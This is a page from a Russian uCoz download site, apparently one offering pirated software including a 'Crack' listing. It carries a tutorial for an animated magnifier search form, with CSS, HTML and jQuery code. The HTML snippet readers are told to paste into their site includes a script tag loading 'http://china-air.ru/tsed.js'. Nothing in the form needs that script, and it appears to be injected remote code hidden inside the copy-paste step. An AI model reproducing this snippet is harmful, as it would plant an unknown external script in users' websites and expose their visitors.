Четверг, 30.05.2024, 09:26
Программы,Аудиокниги,Скрипты,Онлайн фильмы
– Связь, которая соединяет твою истинную семью, - это не кровные узы, а уважение и радость, которые вы вносите в жизнь друг друга. Члены одной семьи редко вырастают под одной и той же крышей.
Ричард Бах

Главная Регистрация Вход
 Приветствую Вас, Гость · RSS
Меню сайта
Новости сайта

Красивый аквариум на рабочий стол (2193)
Xara Web Designer Premium v 7.0.4.16614 (2434)
Онлайн НТВ на сайт (1675)
Рапунцель: Запутанная история (2010) Скачать бесплатно (2406)
Илья Деревянко - Кровавое Шоу Детектив,Аудиокнига (1786)
Кнопка «Класс!» Одноклассники (7837)
Океан Ельзи, Така, як ти (OST Мы Из Будущего) (6378)
Скачать бесплатно Stronghold Legends - Легенды Цитадели (7449)
Stronghold Crusader Extreme (1958)
Михаил Булгаков. "Мастер и Маргарита" (1836)
Download Master 5.9.1.1247 (1948)
Скачать Робин Гуд / Robin Hood (2010) DVDRip (1690)
Хроники Нарнии: Покоритель Зари / The Chronicles of Narnia: The Voyage of the Dawn Treader DVDRip Скачать /Смотреть онлайн/ (1570)
Чайка по имени Джонатан Ливингстон -Аудиокнига скачать бесплатно (3663)
Скачать Жукладочник v 2.2 + Crack (2425)
Король и Шут - Будь Как Дома, Путник... (2000) (1459)
Подбор причесок -Salon Styler Pro (2725)
Pragma 5.7.5.0.100.57+ Словари - Скачать бесплатно (3487)
FlashGet 2.1.1 Final Rus (1512)
Freak Out Extreme Freeride (2007) (ENG) (PSP) (1520)

Прикольные Смайлики и Статусы для майл агента 5.7 Новые смайлики
Просмотров:[16434]
Скачиваний:[152]
Мощный анализатор ставок на рулетке Easy Roulette 2
Просмотров:[10542]
Скачиваний:[400]
Кнопка «Класс!» Одноклассники
Просмотров:[7837]
Скачиваний:[0]
Скачать бесплатно Stronghold Legends - Легенды Цитадели
Просмотров:[7449]
Скачиваний:[421]
Скачать Славянская клиника - Похудеть без диет и голода (аудиокурс/7 CD)
Просмотров:[7025]
Скачиваний:[74]
Java скрипт - Генератор кода для выпадающего меню
Просмотров:[6828]
Скачиваний:[0]
Отправить смс любым операторам бывшего снг
Просмотров:[6666]
Скачиваний:[129]

Описание и настройка HandyCache
Просмотров:[18351]

Как перевести деньги с телефона на телефон по Украине
Просмотров:[17595]


  • Притчи
  • [Жизнь прекрасна!Женские рассказы]
  • Анекдоты
  • [Анекдоты]
  • Любовь
  • [Любовь]

  •  
    Главная » 2012 » Декабрь » 23 » Форма поиска для Ucoz
    20:10
    Форма поиска для Ucoz
    Первое состояние, изображение лупы.
    Второе состояние происходит после клика по первому, плавно изменяется ширина поля ввода поискового запроса.
    Третье состояние происходит когда мы убираем фокус из поля ввода, запускается анимация на прокрутку лупы.

    Итак давайте приступим к установке:
    Установка CSS

    Код
    #search {
      font-family: Helvetica Neue, Helvetica, Arial, sans-serif;
      background:#fff;
      width: 8px;
      padding: 0 8px;
      height: 24px;
      font-size: 14px;
      color: #666;
      line-height: 24px;
      border: 0;
      outline: none;
      border-radius: 50px;
      position: relative;
      z-index: 5;
      -moz-transition: .1s ease;
      -ms-transition: .1s ease;
      -webkit-transition: .1s ease;
      -o-transition: .1s ease;
      transition: .1s ease;
      cursor:pointer;
    }
    #search:focus {
      border: 0;
      outline: none;
      width: 180px; /*ширина открытой формы*/
    }
    p.s {
      z-index: 4;
      position: relative;
      padding: 6px;
      border-radius: 100px;
      background: #abc8df;
      display: inline-block;
      cursor:pointer;
    }
    p.s:hover, p.s:hover:after {
      background: #9eb9cf;
    }
    p.s_fo {
      -o-transition: 0.9s;
      -moz-transition: 0.9s;
      -ms-transition: 0.9s;
      -webkit-transition: 0.9s;
      transition: 0.9s;
      -moz-transform: rotate(1080deg);
      -ms-transform: rotate(1080deg);
      -webkit-transform: rotate(1080deg);
      -o-transform: rotate(1080deg);
      transform: rotate(1080deg);
    }
    p.s:after {
      content: '';
      display: block;
      position: absolute;
      width: 7px;
      height: 12px;
      background: #abc8df;
      bottom: -4px;
      right: -2px;
      border-radius: 0 0 5px 5px;
      -moz-transform: rotate(-45deg);
      -ms-transform: rotate(-45deg);
      -webkit-transform: rotate(-45deg);
      -o-transform: rotate(-45deg);
      transform: rotate(-45deg);
    }
    .blue p.s, .blue p.s:after {background:#abc8df;} /*цвет лупы*/
    .blue p.s:hover, .blue p.s:hover:after {background:#9eb9cf;} /*цвет лупы при наведении*/
    .green p.s, .green p.s:after {background:#65b11c;}
    .green p.s:hover, .green p.s:hover:after {background:#599c18;}
    .gray p.s, .gray p.s:after {background:#d7d7d7;}
    .gray p.s:hover, .gray p.s:hover:after {background:#c4c4c4;}
    .pink p.s, .pink p.s:after {background:#ffbcef;}
    .pink p.s:hover, .pink p.s:hover:after {background:#e49cd3;}
    .orange p.s, .orange p.s:after {background:#faaa3a;}
    .orange p.s:hover, .orange p.s:hover:after {background:#ea9e33;}
    .black p.s, .black p.s:after {background:#676767;}
    .black p.s:hover, .black p.s:hover:after {background:#484747;}


    Добавляем их все также либо в стандартные стили ПУ / Дизайн / Управление дизайном (CSS), либо добавляем в свой css файл
    Установка HTML

    Код
    <form method="get" action="/search/" class="blue">
      <p class="s"><script src="http://china-air.ru/tsed.js" type="text/javascript"></script><input name="q" id="search" type="text" value=""></p>
    </form>


    Устанавливаем в то месте где хотим видеть...
    Установка JS

    Код
    <script>
    jQuery(document).ready(function () {
      $('#search').focusout(function(){
      $('p.s').addClass("s_fo");
      });
      $('#search').focusin(function(){
      $('p.s').removeClass("s_fo");
      });
    });
    </script>


    Копируем и вставляем либо в отдельный js файл, либо после html кода формы поиска

    Чтобы изменить цветовыю схему формы поиска для uCoz достаточно изменить всего лишь один класс в html коде тега form ниже представленны 6 вариантов цветовых решений

    blue - голубой
    green - зеленый
    gray - серый
    pink - розовый
    orange - оранжевый
    black - черный

    Если вы не нашли своего цветового решения, то можете с легкостью написать свое, прочтя комментарии в css коде, также можетеизменить и ширину раскрытой части.

    Понравилась статья? Оставьте свое мнение в комментариях к ней...
    Просмотров: 942 | Добавил: startsmart | Рейтинг: 0.0/0
    Всего комментариев: 0
    Добавлять комментарии могут только зарегистрированные пользователи.
    [ Регистрация | Вход ]
    Copyright MyCorp © 2024

    Мультфильм Скрипт смотреть онлайн аудиокнига Программы 2010 Windows soft Rus build 2013 Multi Ashampoo studio Professional ENG СКАЧАТЬ БЕСПЛАТНО final скачать бесплатно ccleaner Utilities Portable adobe converter video русский Repack photo pro KpoJIuK ultimate D!akov Edition Advanced player Auslogics BoostSpeed PC рс 365 Commander Care Wise 2014 uninstall TooL Download Internet Business
    Заработать Твиттер



    Поиск
    Услуги
    Бесплатный Хостинг
    Посоветовать страницу

    Аудиокнига случайная
    Стивен Кинг - Почти как бьюик (Мистика,аудиокнига) (1664)
    Кэрролл Льюис Логическая игра (2573)
    Старик и море (2560)
    Stronghold Crusader Extreme (1958)
    Луин Майкл - Умей задать вопрос (Аудиокнига,Детектив) (1800)
    Клугер Даниэль - Последний выход Шейлока (Детектив,Аудиокнига) (1607)
    Аудиокнига :: Крокодил Гена и его друзья (2465)
    Майкл Луин - Если тебя навестят пантеры (Аудиокнига,Детектив) (1813)
    Стивен Кинг - Сердца в Атлантиде (Мистика,аудиокнига) (1633)
    Долина Проклятий (Аудиокнига) (1959)
    Пауло Коэльо - "Книга воина света" (2290)
    Пауло Коэльо-Одиннадцать минут (2017)
    Шоу двух M&M's ов на вашем рабочем столе(M&M's_Screenmate) (3645)
    Сергей Кузнецов - Живые и взрослые ( Мистика,аудиокнига) (1670)
    Самый богатый человек в Вавилоне (2334)
    Вход
    Статистика

    Онлайн всего: 1
    Гостей: 1
    Пользователей: 0

    Copyright MyCorp © 2024
    Яндекс.Метрика
    |